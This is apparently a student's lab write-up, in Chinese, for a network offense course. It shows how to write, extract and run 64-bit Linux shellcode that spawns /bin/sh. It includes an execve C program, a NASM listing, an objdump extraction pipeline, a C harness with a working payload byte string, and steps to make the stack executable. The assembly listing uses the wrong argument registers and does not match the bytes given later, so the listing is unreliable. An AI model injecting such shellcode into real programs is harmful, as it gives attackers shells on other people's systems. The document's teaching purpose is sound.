2019-2020-2 20175310奚晨妍《网络对抗技术》Exp1+ 逆向进阶

1 Task1

shellcode就是一段机器指令(code)

  • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
  • 所以这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,功能可以是添加一个用户、运行一条指令等。

Shellcode有以下几点要求

  • 调用系统函数获取shell权限
  • Shellcode里面不能出现\x00

1.1 用C语言编写代码

在Linux里,有两种方法创建新进程:

  • 一是通过现有的进程来创建,并替换正在活动的;
  • 二是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新进程。

execve()系统调用就可以在现有的进程空间里执行其他的进程。

因此这里选择通过C语言调用execve()来返回shell。

我们先在终端中输入man execve了解一下这个函数的用法:

从图中可以看出execve()需要三个参数:

  • filename必须指向包含要执行的二进制文件的路径的字符串。在这个例子中就是/bin/sh
  • argv []是程序的参数列表。大多数程序将使用强制性/选项参数运行。而我们只想执行/bin/sh,而没有任何更多的参数,所以参数列表只是一个NULL指针。但是按照惯例,第一个参数是我们要执行的文件名,所以argv []就是"/bin/sh",NULL
  • envp []是要以key:value格式传递给程序的任何其他环境选项的列表。为了我们的目的,这将是NULL指针\x00000000

由此我们可以编写C代码:

#include <unistd.h>
#include <stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
  execve("/bin/sh",buf,0);
  exit(0);
}

1.2 编译代码并查看反汇编结果

对上述代码进行静态编译,此时执行可以看到返回了shell。

输入objdump -d test | more进行反汇编。

可以发现execve()就相当于执行syscall,然后调用0x3b调用号,0x3b对应十进制的59,也就是execve()的调用号。

1.3 编写shellcode

  • shellcode应该尽量地简洁紧凑,这样才能注入更小的缓冲区
    • 当遇到n字节长的缓冲区时,不仅要把整个shellcode复制到缓冲区,还要加上调用shellcode的指令,所以shellcode必须比n小。
  • Shellcode里面不能出现\x00
    • shellcode中如果存在一些NULL(\x00)字符,当我们把shellcode复制到缓冲区时,有时候会出现异常(因为字符数组用null做终止符)。
section .text 
global _start 
_start: 
xor rax,rax ;将rax置为0
push rax ;将全0入栈
 
push 0x68732f 
push 0x6e69622f ;在堆栈中反向压入“/bin/sh”,即“hs/nib/”
 
mov rbx,rsp ;用rsp将rbx指向“/bin/sh”

push rax ;将全0入栈
mov rdx,rsp ;将rsp指向rdx

push rbx ;将“/bin/sh”地址入栈
mov rcx,rsp ;让rcx指向地址
 
mov eax,0xffffffc5 ;
neg eax ;将0x3b赋值给eax             
 
syscall 

输入nasm -f elf64 shellcode_test.asmld -o shellcode_test shellcode_test.o编译汇编文件,输入objdump -d shellcode_test进行反汇编

1.4 提取shellcode

上图中红框里就是我们需要的机器码,可以自己手动输入,或是使用下面这段代码直接生成

objdump -d ./shellcode_test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

1.5 编写测试代码

调用shellcode其实有很多种方法,这里我用了一种最简单的,其他方法可以参考这篇博客

#include <stdio.h>

int main()
{
          char shellcode[] = "\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05";
           ((void(*)(void))&shellcode)(); 
}

编译好代码后,一定要设置堆栈可执行,不然成功不了,这里有两种方法:

  • 输入execstack -s code,设置堆栈可执行后再运行。
  • 通过编译时加上-z execstack设置堆栈可执行。
这时候,我们自己编写的64位shellcode就已经运行成功了。

2 参考资料

Linux下shellcode的编写

20155213免考项目——bof进阶及简易的HIDAttack

shellcode指导

【干货分享】手把手简易实现shellcode及详解

C语言执行shellcode的五种方法

posted @ 2020-03-20 00:16  20175310xcy  阅读(253)  评论(1编辑  收藏  举报